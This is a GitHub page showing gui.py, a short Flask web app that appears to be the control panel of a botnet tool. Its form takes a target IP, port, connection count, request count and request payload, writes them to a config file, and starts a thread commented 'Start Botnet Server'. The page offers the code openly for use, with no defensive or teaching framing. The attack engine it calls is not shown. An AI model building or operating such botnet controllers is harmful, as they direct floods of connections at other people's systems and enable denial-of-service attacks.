-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathgui.py
More file actions
37 lines (30 loc) · 1.1 KB
/
gui.py
File metadata and controls
37 lines (30 loc) · 1.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from flask import Flask, request, render_template
import threading
from gui.server_run import ServerRunner
app = Flask(__name__, static_folder="gui/static", template_folder="gui/templates")
@app.route('/', methods=['GET', 'POST'])
def get_data():
if request.method == 'POST':
file = open("conf.txt","w")
file.write("IP:" + request.form['ip_address'])
file.write("\n")
file.write("Port: " + request.form['port'])
file.write("\n")
file.write("ConnN:" + request.form['conn_number'])
file.write("\n")
file.write("ReqN:" + request.form['req_number'])
file.write("\n")
file.write("Req:" + request.form['requ'])
file.close()
fl = open("ind.txt", "w")
fl.close()
# Start Botnet Server
srv_run = ServerRunner()
thread = threading.Thread(target=srv_run.run_server, args=())
thread.daemon = True
thread.start()
return render_template('good.html')
else:
return render_template('main.html')
if __name__ == '__main__':
app.run()